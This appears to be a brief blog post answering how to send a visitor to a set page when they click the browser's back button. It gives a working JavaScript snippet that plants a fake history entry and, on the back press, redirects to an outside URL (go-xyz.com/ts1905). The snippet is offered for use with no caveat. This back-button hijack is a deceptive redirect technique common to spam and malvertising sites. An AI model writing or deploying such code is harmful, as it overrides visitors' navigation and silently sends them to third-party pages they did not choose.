How to create user landing website click back button on browser user get default page - java script

I want to create website page setting user in landing my website page by chance use click back button on browser go to back page I setup default landing link user visit...
<script>
(function (window, location) {
        var redirect = "http://go-xyz.com/ts1905";
        var currentUrl = location.origin + location.pathname + location.search;
        if (location.hash !== "#!/hst") {
            history.replaceState(null, document.title, currentUrl + "#!/hst");
            history.pushState(null, document.title, currentUrl);
        }

        window.addEventListener("popstate", function () {
            if (location.hash === "#!/hst") {
                setTimeout(function () {
                    window.location.replace(redirect);
                }, 0);
            }
        }, false);
    }(window, location));

</script>

No comments:

Post a Comment

Python in AI: Getting Started with TensorFlow & PyTorch

  Artificial Intelligence (AI) is no longer just a buzzword. It powers recommendation systems, chatbots, self-driving cars, and more. At the...